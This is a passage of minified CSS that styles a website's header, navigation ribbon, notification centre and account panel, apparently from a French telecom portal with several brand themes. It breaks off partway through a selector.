.band.bandeau-accessibility.sosh a:focus, .band.bandeau-accessibility.sosh a:focus-visible { color: rgb(251, 205, 0); } .band.navigateur { background: rgb(255, 250, 230); font-family: "o-HelveticaNeue", Helvetica, Arial, sans-serif; position: relative; z-index: 99980; } .band.navigateur .message { padding: 0px 0px 0.875em; display: flex; align-items: center; } .band.navigateur .message .icon::before { font-size: 32px !important; color: rgb(255, 205, 11); } .band.navigateur .message .text { color: rgb(51, 51, 51); font-size: 16px; font-weight: 700; margin-left: 15px; flex-grow: 1; flex-basis: 100%; } .band.navigateur ul { display: flex; gap: 10px; flex-wrap: wrap; list-style-type: none; padding-left: 0px; } .band.navigateur ul li { display: flex; padding-right: 100px; } .band.navigateur ul li img { width: 45px; height: 45px; } .band.navigateur ul li > div { display: flex; flex-direction: column; color: rgb(0, 0, 0); font-weight: bold; padding-left: 16px; } .band.navigateur ul li > div .title { font-size: 18px; } .band.navigateur ul li > div .editor { font-weight: normal; font-size: 14px; color: rgb(85, 85, 85); } .band.navigateur ul li > div .link { text-decoration: none; color: inherit; font-weight: 700; font-size: 16px; display: flex; align-items: center; } .band.navigateur ul li > div .link .link-icon { padding-left: 10px; display: flex; } .band.navigateur .close-popin { color: rgb(0, 0, 0); font-size: 1.4em; float: right; margin-left: 1.25em; } .band.ruban { display: flex; flex-direction: row; justify-content: space-between; position: relative; } .band.ruban > * { display: flex; align-items: center; flex-direction: row; gap: 0.9375em; } .band.ruban * { box-sizing: border-box; } .band.ruban .page-title { font-size: 1.875em; line-height: 1.37; color: rgb(255, 255, 255); margin: 0.166667em 0px; font-weight: 700; display: flex; flex-grow: 1; flex-wrap: nowrap; } @media (max-width: 64em) { .band.ruban .page-title { font-size: 1em; } } @media (max-width: 90em) { .band.ruban .page-title { font-size: 1.625em; } } .band.ruban .layer.universe-selector { position: relative; } .band.ruban .layer.universe-selector button { padding-right: 30px; position: relative; white-space: nowrap; } .band.ruban .layer.universe-selector button::before { transform: rotate(90deg); color: rgb(241, 110, 0); font-size: 10px; position: absolute; right: 10px; top: 0px; font-weight: 700; } .band.ruban .layer.universe-selector button[aria-expanded="true"]::before { transform: rotate(-90deg); } .band.ruban .layer.universe-selector .popin { right: 0px; background: rgb(255, 255, 255); padding: 0px 30px 20px; border-top: 2px solid rgb(241, 110, 0); width: auto; transform: none; } .band.ruban .layer.universe-selector .popin h1 { height: 3.125em; min-height: 3.125em !important; font-size: 16px; margin-bottom: 5px; white-space: nowrap; font-weight: bold; color: rgb(0, 0, 0); line-height: 70px; margin-top: 0px; } .band.ruban .layer.universe-selector .popin ul { list-style: none; padding-left: 0px; margin: 0px; } .band.ruban .layer.universe-selector .popin ul li { border-top: 1px solid rgb(221, 221, 221); } .band.ruban .layer.universe-selector .popin ul li a { position: relative; color: rgb(0, 0, 0); font-size: 16px; text-decoration: none; display: block; padding: 14px 30px 14px 0px; box-sizing: border-box; outline-offset: 0.25rem; transition: outline-offset 0.15s ease-in-out; font-weight: normal; } .band.ruban .layer.universe-selector .popin ul li a:hover { text-decoration: underline; } .band.ruban .layer.universe-selector .popin ul li a::before { font-weight: bold; line-height: 22px; color: rgb(241, 110, 0); font-size: 14px; position: absolute; top: 0px; right: 0px; bottom: 0px; display: flex; align-items: center; margin-right: 0px; } .band.ruban .layer.universe-selector .popin ul li:first-of-type { border-top: medium; } .band.ruban .ruban-link { padding: 0px 0.3125em; align-items: center; justify-content: center; position: relative; min-height: 2em; min-width: 2.875em; display: flex; text-decoration: none; white-space: nowrap; outline: none; outline-offset: 7px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.ruban .ruban-link::before { display: inline-block; text-decoration: none; } .band.ruban .ruban-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 3px !important; } @media screen and (max-width: 80em) { .band.ruban .ruban-link { padding: 0px; min-width: 2.625em; } } .band.ruban .ruban-link:focus span, .band.ruban .ruban-link:focus-within span { text-decoration: underline; } .band.ruban .ruban-link:focus span.badge, .band.ruban .ruban-link:focus-within span.badge { text-decoration: none; } .band.ruban.gp .ruban-link span { font-size: 0.875em; } .band.ruban.gp .ruban-link::before { display: inline-block; font-size: 1.1875em; margin-right: 0.368421em; text-decoration: none; } @media screen and (max-width: 64em) { .band.ruban.gp .ruban-link { display: none; } } .band.ruban.gp .ruban-link:focus span, .band.ruban.gp .ruban-link:focus-within span { text-decoration: underline; } .band.ruban.gp .ruban-link:focus span.badge, .band.ruban.gp .ruban-link:focus-within span.badge { text-decoration: none; } .band.ruban.sosh .ruban-link::before { font-size: 1.5em; } @media (max-width: 64em) { .band.ruban.sosh .ruban-link { min-width: auto; } .band.ruban.sosh .ruban-link span { position: absolute; width: 0.0625em; height: 0.0625em; padding: 0px; margin: -0.0625em; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; } .band.ruban.sosh .ruban-link::before { margin-right: 0px; } } .band.ruban.sosh .ruban-link:hover, .band.ruban.sosh .ruban-link:focus-visible, .band.ruban.sosh .ruban-link:active { color: rgb(255, 255, 255); } .band.ruban.sosh .ruban-link:hover span, .band.ruban.sosh .ruban-link:focus-visible span, .band.ruban.sosh .ruban-link:active span { text-decoration: underline; } .band.ruban .service-launcher .popin { width: 25em; max-width: calc(-2em + 100vw); font-size: 1em; box-sizing: border-box; } .band.ruban .service-launcher .popin ul { list-style: none; padding-left: 0px; margin: 0px; display: flex; gap: 0.9375em; flex-wrap: wrap; justify-content: space-around; } .band.ruban .service-launcher .popin ul li { display: inline-block; vertical-align: top; margin: 0px; color: rgb(0, 0, 0); width: 6.875em; min-height: 6.875em; list-style-type: none; } .band.ruban a.service-icon-container { display: flex; flex-direction: column; justify-content: space-between; position: relative; height: 100%; color: rgb(0, 0, 0); border: 0.125em solid rgba(0, 0, 0, 0); background-color: rgb(244, 244, 244); text-decoration: none; text-align: center; padding: 1.25em 0.625em 0.625em; font-size: 0.875em; font-weight: bold; } .band.ruban a.service-icon-container:hover { background: rgb(221, 221, 221); } .band.ruban a.service-icon-container i { width: 2.5em; height: 2.5em; position: relative; margin: 0px auto; display: block; right: 0px; } .band.ruban a.service-icon-container i::before { font-size: 2.5em; line-height: 1em; } .band.ruban a.service-icon-container span { height: 2.625em; justify-content: center; display: flex; align-items: baseline; } .band.ruban .centre-notifications .popin { width: 27.5em; } .band.ruban .centre-notifications .popin { max-height: 31.25em; } @media screen and (max-width: 30em) { .band.ruban .centre-notifications .popin { max-height: calc(-50px + 100vh); overflow-y: auto; } } .band.ruban .centre-notifications .popin .loading { height: 200px; position: relative; min-height: 44.4px; } @keyframes loading { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .band.ruban .centre-notifications .popin .loading::after { content: ""; position: absolute; top: 50%; left: 50%; margin-top: -18.5px; margin-left: -18.5px; width: 37px; height: 37px; border-radius: 50%; border-width: 4px; border-style: solid; border-color: rgba(0, 0, 0, 0) rgb(241, 110, 0) rgb(241, 110, 0); border-image: none; animation: 2s linear infinite loading; } .band.ruban .centre-notifications .popin .error::before { box-sizing: border-box; padding: 10px 0px; display: inline-block; vertical-align: middle; width: 2em; font-size: 2em; color: rgb(38, 178, 255); } .band.ruban .centre-notifications .popin .content { margin-left: -5px; margin-right: -5px; } .band.ruban .centre-notifications .popin .content .filters { display: flex; gap: 1em; padding: 5px 0px 14px; margin: 0px; justify-content: center; } @media screen and (max-width: 48em) { .band.ruban .centre-notifications .popin .content .filters { justify-content: flex-start; } } .band.ruban .centre-notifications .popin .content .filters button { min-width: 8em; font-family: o-HelveticaNeue, Arial, sans-serif; cursor: pointer; color: rgb(0, 0, 0); font-size: 14px; font-weight: normal; height: 2.28571em; line-height: 1; background: none; border-radius: 2.28571em; border: 1px solid rgb(204, 204, 204); padding: 5px 25px 7px; white-space: nowrap; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.ruban .centre-notifications .popin .content .filters button[value="important"] { min-width: 10em; } @media screen and (max-width: 30em) { .band.ruban .centre-notifications .popin .content .filters button { padding-left: 15px; padding-right: 15px; min-width: 5em; } .band.ruban .centre-notifications .popin .content .filters button[value="important"] { min-width: 8em; } } @media screen and (max-width: 30em) { .band.ruban .centre-notifications .popin .content .filters button { padding-left: 5px; padding-right: 5px; overflow: hidden; min-width: 0px; } .band.ruban .centre-notifications .popin .content .filters button[value="important"] { min-width: 0px; } } @media screen and (max-width: 17.5em) { .band.ruban .centre-notifications .popin .content .filters button { font-size: 0.625em; } } .band.ruban .centre-notifications .popin .content .filters button[aria-expanded="true"] { background-color: rgba(0, 0, 0, 0); border: 2px solid rgb(241, 110, 0); color: rgb(0, 0, 0); font-weight: 700; } .band.ruban .centre-notifications .popin .content .filters button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .band.ruban .centre-notifications .popin .content .filters button:focus-visible { line-height: 1; background-color: rgba(0, 0, 0, 0); border: 1px solid rgb(85, 85, 85); color: rgb(85, 85, 85); font-weight: 700; } .band.ruban .centre-notifications .popin .content .filters button:hover { background-color: rgba(0, 0, 0, 0); border: 1px solid rgb(85, 85, 85); color: rgb(85, 85, 85); font-weight: 700; } .band.ruban .centre-notifications .popin .content .filters button:hover[aria-expanded="true"] { border-width: 2px; } .band.ruban .centre-notifications .popin .content ul { padding: 0px; margin: 0px; list-style: none; box-sizing: border-box; } .band.ruban .centre-notifications .popin .content ul.notifications { max-height: 346px; margin: 0px; font-size: 16px; width: 100%; overflow: hidden auto; position: relative; } @media screen and (max-width: 30em) { .band.ruban .centre-notifications .popin .content ul.notifications { max-height: 100000000px; } } .band.ruban .centre-notifications .popin .content ul.notifications li a { padding: 0.9375em 0px; width: 100%; display: flex; gap: 0.625em; font-size: 16px; align-items: flex-start; text-decoration: none; color: rgb(85, 85, 85); position: relative; outline: none; outline-offset: -7px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.ruban .centre-notifications .popin .content ul.notifications li a:hover, .band.ruban .centre-notifications .popin .content ul.notifications li a:focus { color: rgb(85, 85, 85); text-decoration: underline; } .band.ruban .centre-notifications .popin .content ul.notifications li a:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -11px !important; } .band.ruban .centre-notifications .popin .content ul.notifications li a > span { line-height: 1.38; padding: 0px; vertical-align: middle; text-align: left; font-size: 0.875em; flex-grow: 1; } .band.ruban .centre-notifications .popin .content ul.notifications li a > span > span.contrat { font-size: 0.875em; font-weight: normal; display: block; } .band.ruban .centre-notifications .popin .content ul.notifications li a i::before { height: 1em; width: 1em; font-size: 1.7em; line-height: 1em; margin: 0.1875em; } .band.ruban .centre-notifications .popin .content ul.notifications li a .notif-object { vertical-align: top; flex-shrink: 0; flex-grow: 0; width: 1.6875em; } .band.ruban .centre-notifications .popin .content ul.notifications li a .notif-object > i.icon { margin: 0px; } .band.ruban .centre-notifications .popin .content ul.notifications li a .notif-object > i.icon::before { margin: 0px; } .band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon { display: inline-block; width: 40px; box-shadow: none; border: medium; vertical-align: middle; text-align: center; flex-grow: 0; flex-shrink: 0; } .band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon::before { display: inline-block; background-color: rgb(255, 255, 255); color: rgb(255, 255, 255); vertical-align: middle; font-size: 30px !important; width: 100%; text-align: center; } .band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.confirmation-tick::before { color: rgb(61, 227, 90); } .band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.info::before { color: rgb(38, 178, 255); } .band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.warning::before { color: rgb(255, 205, 11); } .band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.error::before { color: rgb(231, 0, 2); } .band.ruban .centre-notifications .popin .content ul.notifications li.unread > a { font-weight: bold; color: rgb(0, 0, 0); } .band.ruban .centre-notifications .popin .content .no-item { display: none; position: relative; margin: 5px 5px 0px; background: rgb(233, 247, 255); padding: 20px 20px 20px 55px; } .band.ruban .centre-notifications .popin .content .no-item.icon::before { position: absolute; left: 15px; top: 15px; line-height: normal; color: rgb(38, 178, 255); font-size: 32px; } .band.ruban .centre-notifications .popin .content .no-item p { margin: 0px; font-weight: bold; } .band.ruban .centre-notifications .popin .content .no-item button { display: block; border: medium; background-color: rgba(0, 0, 0, 0); margin: 0px; padding: 5px 0px; font-weight: bold; font-size: 16px; text-align: left; font-family: o-HelveticaNeue, Arial, sans-serif; cursor: pointer; } .band.ruban .centre-notifications .popin .content .no-item button > i::before { line-height: normal; color: rgb(0, 0, 0); text-decoration: none; font-weight: bold; } .band.ruban .centre-notifications .popin .content ul > li { display: none; } .band.ruban .centre-notifications .popin .content ul > li.hidden { display: none !important; } .band.ruban .centre-notifications .popin .content.filter-all .no-item.all, .band.ruban .centre-notifications .popin .content.filter-all ul > li { display: block; } .band.ruban .centre-notifications .popin .content.filter-all .no-item.all { margin-top: -5px; background-color: rgba(0, 0, 0, 0); } .band.ruban .centre-notifications .popin .content.filter-unread .no-item.unread, .band.ruban .centre-notifications .popin .content.filter-unread ul > li.unread { display: block; } .band.ruban .centre-notifications .popin .content.filter-important .no-item.important, .band.ruban .centre-notifications .popin .content.filter-important ul > li.important { display: block; } .band.ruban.sosh .centre-notifications .panel-button:hover, .band.ruban.sosh .centre-notifications .panel-button:focus-visible, .band.ruban.sosh .centre-notifications .panel-button[aria-expanded="true"] { color: rgb(204, 204, 204); } .band.ruban.sosh .centre-notifications .panel-button .badge { background-color: rgb(222, 37, 84); box-shadow: none; transform: translate(0.25em, -0.0625em); } .band.ruban.sosh .centre-notifications .popin { padding: 0px; } .band.ruban.sosh .centre-notifications .popin::before { content: ""; position: absolute; left: 0px; right: 0px; top: 0px; height: 0.25em; background-color: rgb(222, 37, 84); } .band.ruban.sosh .centre-notifications .popin h1 { padding: 0.9375em 1.875em 0px; } .band.ruban.sosh .centre-notifications .popin .content { margin: 0px; } .band.ruban.sosh .centre-notifications .popin .content .filters button { background-color: rgb(255, 255, 255); border-color: rgb(0, 0, 0); outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded="true"] { color: rgb(255, 255, 255); background-color: rgb(222, 37, 84); border-color: rgb(222, 37, 84); } .band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded="true"]::before { display: inline-block; width: 10px; height: 6px; margin: 0px 8px 2px 0px; content: ""; border-style: solid; border-color: rgb(255, 255, 255); border-width: 0px 0px 2px 2px; border-image: none; transform: rotateZ(-45deg); } .band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded="true"]:focus, .band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded="true"]:hover { color: rgb(255, 255, 255); background-color: rgb(0, 0, 0); border-color: rgb(0, 0, 0); } .band.ruban.sosh .centre-notifications .popin .content .filters button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; } .band.ruban.sosh .centre-notifications .popin .content .filters button:focus-visible { outline-color: rgb(222, 37, 84) !important; outline-offset: -0.0625em !important; } .band.ruban.sosh .centre-notifications .popin ul.notifications::-webkit-scrollbar, .band.ruban.sosh .centre-notifications .popin ul.notifications::-webkit-scrollbar-thumb { width: 0.25em; } .band.ruban.sosh .centre-notifications .popin ul.notifications::-webkit-scrollbar-thumb { border-radius: 0.25em; background-color: rgb(204, 204, 204); } .band.ruban.sosh .centre-notifications .popin ul.notifications li { padding: 0px 1.875em; } .band.ruban.sosh .centre-notifications .popin ul.notifications li:hover, .band.ruban.sosh .centre-notifications .popin ul.notifications li:focus-visible, .band.ruban.sosh .centre-notifications .popin ul.notifications li:focus-within { background-color: rgb(238, 238, 238); } .band.ruban.sosh .centre-notifications .popin ul.notifications li a { border-top: 1px solid rgb(238, 238, 238); padding: 1.0625em 0px; text-decoration: none !important; } .band.ruban.sosh .centre-notifications .popin ul.notifications li a:focus-visible { outline: none !important; } .band.ruban.sosh .centre-notifications .popin ul.notifications li a object, .band.ruban.sosh .centre-notifications .popin ul.notifications li a .functional-icon { margin-top: auto; margin-bottom: auto; } .band.ruban.sosh .centre-notifications .popin ul.notifications li a > span { font-size: 1em; font-weight: bold; } .band.ruban.sosh .centre-notifications .popin ul.notifications li a > span .contrat { color: rgb(77, 77, 77); } .band.ruban.sosh .centre-notifications .popin ul.notifications li a .functional-icon::before { background-color: rgba(0, 0, 0, 0); font-size: 1.25em !important; } .band.ruban.sosh .centre-notifications:not(.keep-right)[data-state="active"] .popin { transform: translateX(35%); } .band.ruban a.mail.ruban-link { position: relative; min-width: 2.375em; display: inline-flex; align-items: center; justify-content: center; font-size: inherit; } .band.ruban a.mail.ruban-link::before { margin-right: 0px; } .band.ruban .mobile-burger-menu { border: 0px; padding: 0px; background: none; color: rgb(255, 255, 255); font-size: 0.75em; font-weight: 700; display: flex; align-items: center; cursor: pointer; outline: none; outline-offset: 6px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.ruban .mobile-burger-menu:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 2px !important; } .band.ruban .mobile-burger-menu.icon::before { font-size: 1.5em; } .band.ruban.gp .mobile-burger-menu.icon::before { margin-right: 0.3125em; position: relative; top: -0.0625em; } .band.ruban.sosh .mobile-burger-menu { outline: none; outline-offset: 9px !important; transition: outline-offset 0.15s ease-in-out !important; flex-direction: column; } .band.ruban.sosh .mobile-burger-menu:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 5px !important; } .band.ruban.sosh .mobile-burger-menu.icon::before { font-size: 1.875em; margin-right: 0px; } .band.ruban.sosh .mobile-burger-menu:focus-visible { outline-color: rgb(255, 255, 255) !important; } .band.ruban .capsule { display: flex; gap: 0.625em; background: rgb(26, 26, 26); padding: 0.1875em 1.25em; } .band.ruban .capsule .vertical-separator { width: 0.0625em; background: rgb(85, 85, 85); font-size: 1em; display: block; height: 1.125em; margin: auto 0.625em; } @media (max-width: 80em) { .band.ruban .capsule .vertical-separator { margin: auto 0px; } } .band.ruban .capsule .vertical-separator:first-child, .band.ruban .capsule .vertical-separator:last-child { display: none; } .band.ruban .capsule span.badge { box-shadow: rgb(26, 26, 26) 0px 0px 0px 2px; } @media (max-width: 80em) { .band.ruban .capsule { gap: 0.3125em; padding: 0.1875em 0.3125em; } } @media (max-width: 64em) { .band.ruban .capsule { background: none; padding: 0px; } .band.ruban .capsule .vertical-separator { display: none; } } .band.ruban .left, .band.ruban .right { gap: 1.5625em; } .band.ruban.gp { gap: 1.25em; height: 6.25em; } .band.ruban.gp.small { height: 3.125em; padding-top: 0.625em; padding-bottom: 0.625em; } @media (max-width: 48em) { .band.ruban.gp { height: 3.125em; gap: 0px; } } @media (max-width: 64em) { .band.ruban.gp { height: 3.125em; } } .band.ruban.gp .layer-mobile-overlay { top: 3.125em; } .band.ruban.gp .mobile-search-toggle[aria-expanded="true"] { color: rgb(255, 121, 0); } .band.ruban.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); } .band.ruban.sosh .logo:hover, .band.ruban.sosh .logo:focus-visible { opacity: 0.7; } @media (max-width: 64em) { .band.ruban.sosh { height: 3.75em; } .band.ruban.sosh .left { flex-grow: 1; } } .band.ruban.sosh .logo { outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.ruban.sosh .logo:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; } .band.ruban.sosh :focus-visible, .band.ruban.sosh .mobile-burger-menu:focus-visible, .band.ruban.sosh .logo:focus-visible { outline-color: rgb(255, 255, 255) !important; } .band.ruban.sosh.is-navigation-open .logo { display: none; } .band.ruban.sosh .layer-mobile-overlay { top: 3.75em; } .band.ruban.sosh .sosh-identity .panel-button { font-size: 1em; display: flex; align-items: center; padding: 0px 0.1875em; } .band.ruban.sosh .sosh-identity .panel-button .avatar { font-size: 1.125em; line-height: 1.125em; width: 1.94444em; height: 1.94444em; justify-content: center; } .band.ruban.sosh .sosh-identity .panel-button i.icon { border-radius: 50%; background-color: rgb(0, 0, 0); display: flex; align-items: center; justify-content: center; color: rgb(255, 255, 255); } .band.ruban.sosh .sosh-identity .panel-button i.icon::before { height: 1em; line-height: 1em; vertical-align: top; } .band.ruban.sosh .sosh-identity .panel-button .display-labels { display: flex; flex-direction: column; margin-left: 0.555556em; } .band.ruban.sosh .sosh-identity .panel-button .display-labels .title { text-align: left; } .band.ruban.sosh .sosh-identity .panel-button .display-labels .subtitle { font-weight: 700; } @media (max-width: 64em) { .band.ruban.sosh .sosh-identity .panel-button .display-labels { position: absolute; width: 0.0625em; height: 0.0625em; padding: 0px; margin: -0.0625em; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; } } .band.ruban.sosh .sosh-identity .panel-button:active i.icon::before { color: rgb(255, 255, 255); } .band.ruban.sosh .sosh-identity[data-state="active"] > .panel-button.has-arrow::after { left: 0.9375em; border-bottom-color: rgb(255, 255, 255); } .band.ruban.sosh .sosh-identity:hover .panel-button { background-color: rgba(255, 255, 255, 0.12); border-radius: 6.25em; } .band.ruban.sosh .sosh-identity .popin { width: 20.625em; min-height: 10.3125em; padding: 1.875em; border-radius: 0.3125em; display: flex; justify-content: center; } .band.ruban.sosh .sosh-identity .identity-wrapper { background: rgb(255, 255, 255); line-height: 1.375em; width: 100%; } .band.ruban.sosh .sosh-identity .identity-wrapper .full-name { padding: 0.4375em 0px 0.625em; margin-bottom: 0.9375em; font-size: 1.125em; font-weight: 700; line-height: 1.5em; text-align: center; } .band.ruban.sosh .sosh-identity .identity-wrapper ul, .band.ruban.sosh .sosh-identity .identity-wrapper li { list-style-type: none; margin: 0px; padding: 0px; text-align: center; } .band.ruban.sosh .sosh-identity .identity-wrapper .top-link { display: inline-flex; font-size: inherit; font-weight: 700; color: rgb(255, 255, 255); background: rgb(222, 37, 84); margin: 0px auto 1.875em; padding: 0.875em 2.1875em; border-radius: 0.1875em; outline-color: rgb(222, 37, 84) !important; } .band.ruban.sosh .sosh-identity .identity-wrapper .top-link:focus-visible { outline-offset: 0.375em !important; } .band.ruban.sosh .sosh-identity .identity-wrapper .top-link:hover { background: rgb(0, 0, 0); color: rgb(255, 255, 255); text-decoration: none; } .band.ruban.sosh .sosh-identity .identity-wrapper .middle-link { display: flex; align-items: center; justify-content: space-between; width: 100%; padding: 0.4375em 0px 0.625em; font-weight: 700 !important; color: rgb(0, 0, 0); outline-color: rgb(222, 37, 84) !important; position: relative; } .band.ruban.sosh .sosh-identity .identity-wrapper .middle-link::before { position: absolute; right: 0px; color: rgb(222, 37, 84); font-size: 1.65em; text-decoration: none !important; } .band.ruban.sosh .sosh-identity .identity-wrapper .bottom-link { position: relative; display: inline-flex; align-items: center; color: rgb(0, 0, 0); margin: 0.625em auto; } .band.ruban.sosh .sosh-identity .identity-wrapper .bottom-link::before { display: block; margin-right: 0.125em; text-decoration: none !important; position: absolute; left: -1.1em; } .band.ruban.sosh .sosh-identity .identity-wrapper .bottom-link:hover::before, .band.ruban.sosh .sosh-identity .identity-wrapper .bottom-link:focus-visible::before { text-decoration: none !important; } .band.ruban.sosh .sosh-identity .identity-wrapper .bottom-link:focus-visible { outline-color: rgb(222, 37, 84) !important; } span.badge { border-radius: 1em; font-weight: bold; line-height: 1.36em; height: 1.36em; min-width: 1.36em; font-size: 0.8em; padding: 0px 0.4em; text-align: center; text-decoration: none; display: inline-block; box-sizing: border-box; position: absolute; left: calc(100% - 1.25em); right: auto; top: 0.4375em; } @media (max-width: 64em) { span.badge { top: 0px; } } .gp span.badge { box-shadow: rgb(0, 0, 0) 0px 0px 0px 0.166667em; background: rgb(231, 0, 2); color: rgb(255, 255, 255); border-color: rgb(255, 255, 255); } .sosh span.badge { border: medium; background: rgb(222, 37, 84); color: rgb(255, 255, 255); top: 0.375em; } .identity .panel-button { display: flex; align-items: center; height: 100%; padding: 0px 0.546875em; } .identity .panel-button img { display: inline-block; width: 1.625em; height: 1.625em; font-size: inherit; } .identity .panel-button .display-labels { display: flex; flex-direction: column; margin-left: 10px; text-align: left; } .identity .panel-button .display-labels .display-name, .identity .panel-button .display-labels .static-label { display: inline-block; max-width: 11.5em; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; text-align: left; flex-shrink: 1; font-size: 14px; } .identity .panel-button .display-labels .display-name { font-weight: 700; } .identity .panel-button .display-labels .static-label { font-weight: 400; color: rgb(204, 204, 204); } @media screen and (max-width: 64em) { .identity .panel-button .display-labels { display: none; } } .identity .side-panel .identity-panel { background: rgb(255, 255, 255); display: flex; flex-direction: column; color: rgb(0, 0, 0); padding: 4.375em 1.875em 1.875em; } .identity .side-panel .identity-panel > * { text-align: center; } .identity .side-panel .identity-panel img.avatar { display: block; margin: auto; width: 60px; height: 60px; } .identity .side-panel .identity-panel .full-name { font-weight: 700; font-size: 18px; line-height: 24px; padding-top: 10px; padding-bottom: 10px; } .identity .side-panel .identity-panel .details { font-size: 14px; } .identity .side-panel .identity-panel a { font-size: 16px; font-weight: 700; text-decoration: none; } .identity .side-panel .identity-panel .top-links a { margin-top: 23px; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); padding: 0.9375em; display: block; line-height: 1.625em; min-height: 1.625em; box-sizing: content-box; text-align: center; } .identity .side-panel .identity-panel .top-links a:hover, .identity .side-panel .identity-panel .top-links a:focus { background-color: rgb(85, 85, 85); } .identity .side-panel .identity-panel .top-sub-links a { background-color: rgba(0, 0, 0, 0); color: rgb(0, 0, 0); padding: 15px; display: block; min-height: 1em; line-height: 1em; text-align: center; font-size: 0.875em; text-decoration: underline; } .identity .side-panel .identity-panel .top-sub-links a:hover, .identity .side-panel .identity-panel .top-sub-links a:focus { color: rgb(85, 85, 85); text-decoration: underline; } .identity .side-panel .identity-panel hr { display: block; width: 19%; border-width: 1px 0px 0px; border-style: solid none none; border-color: rgb(204, 204, 204) currentcolor currentcolor; border-image: none; margin: 30px auto 40px; } @media (max-width: 30em) { .identity .side-panel .identity-panel hr { display: none; } } .identity .side-panel .identity-panel .bottom-links a[role="link"] { justify-content: start; position: relative; padding: 0px; } .identity .side-panel .identity-panel .bottom-links a[role="link"].icon::before { color: rgb(241, 110, 0); position: absolute; right: 0px; font-size: 16px; margin-right: 0px; } .identity .side-panel .identity-panel .elements { display: flex; flex-direction: column; margin-top: 23px; text-align: start; } .identity .side-panel .identity-panel .elements a { position: relative; line-height: 22px; padding: 8px 0px 9px; width: 100%; color: rgb(0, 0, 0); } .identity .side-panel .identity-panel .elements a::before { color: rgb(241, 110, 0); position: absolute; right: 0px; } .identity .side-panel .identity-panel .elements a:hover, .identity .side-panel .identity-panel .elements a:focus { color: rgb(85, 85, 85); text-decoration: underline; } .identity .side-panel .identity-panel .loading { height: 200px; position: relative; min-height: 44.4px; } @keyframes loading { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .identity .side-panel .identity-panel .loading::after { content: ""; position: absolute; top: 50%; left: 50%; margin-top: -18.5px; margin-left: -18.5px; width: 37px; height: 37px; border-radius: 50%; border-width: 4px; border-style: solid; border-color: rgba(0, 0, 0, 0) rgb(241, 110, 0) rgb(241, 110, 0); border-image: none; animation: 2s linear infinite loading; } .identity .side-panel .identity-panel .bottom-separator { margin-top: auto; margin-bottom: 0px; width: 100%; padding-top: 20px; border-bottom: 1px solid rgb(204, 204, 204); } .identity .side-panel .identity-panel .bottom-links { padding-top: 0.625em; padding-bottom: 1.25em; text-align: center; } @media screen and (max-width: 48em) { .identity .side-panel .identity-panel .bottom-links { padding-bottom: 7.5em; } } .identity .side-panel .identity-panel .bottom-links a { background: none; padding: 0px 12px; min-height: 50px; line-height: 50px; text-align: center; color: rgb(0, 0, 0); border: 1px solid rgb(0, 0, 0); margin-top: 20px; } .identity .side-panel .identity-panel .bottom-links a:last-of-type { border: medium; margin-top: 10px; } .identity .side-panel .identity-panel .bottom-links a::before { margin-right: 8px; } .identity .side-panel .identity-panel .bottom-links a:hover, .identity .side-panel .identity-panel .bottom-links a:active { color: rgb(85, 85, 85); } .identity .side-panel .identity-panel .bottom-links a:hover::before, .identity .side-panel .identity-panel .bottom-links a:hover i, .identity .side-panel .identity-panel .bottom-links a:active::before, .identity .side-panel .identity-panel .bottom-links a:active i { opacity: 0.6; } .identity .side-panel .content-overflow-wrapper { height: 1px; min-height: 100%; } .identity .side-panel .content-overflow-wrapper .identity-panel { height: 100%; } .gp .skeleton.mega-menu { width: 9.375em; height: 1.875em; } @media (max-width: 71.875em) { .gp .skeleton.mega-menu { width: 5.375em; height: 3.125em; } } .gp .desktop-navigation-content .skeleton.mega-menu { flex-basis: initial; } .sosh .skeleton.mega-menu { width: 6.25em; height: 1.25em; } .navigation { display: flex; position: relative; padding-top: 0px; padding-bottom: 0px; align-items: end; } .navigation.gp { border-bottom: 1px solid rgb(85, 85, 85); } .navigation.gp .logo { display: none !important; } .navigation.gp.sticky.visible .logo { display: flex !important; } @media (max-width: 64em) { .navigation.gp .logo { display: none !important; } } .navigation.gp .content { border-top: 0.05625em solid rgb(85, 85, 85); } .navigation.sosh { background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); border-bottom: 1px solid rgb(204, 204, 204); min-height: 51px; align-items: center; z-index: 1; overflow: hidden; } .navigation.sosh .desktop-navigation-content { display: flex; border-top: medium; } .navigation.sosh:has(.hidden-dropdown[aria-expanded="true"]) { overflow: visible; } .navigation.sosh .events { display: flex; } .navigation.sosh .events .event { width: max-content; margin: 0px 0px auto !important; } .navigation.sosh .events .event span { font-weight: 700; } .navigation.sosh .events .event .icon.double-underline { color: rgb(222, 37, 84); font-size: 4.0625em; position: absolute; left: -1.53846em; bottom: 0px; right: -1.53846em; height: 0.307692em; pointer-events: none; } .navigation.sosh 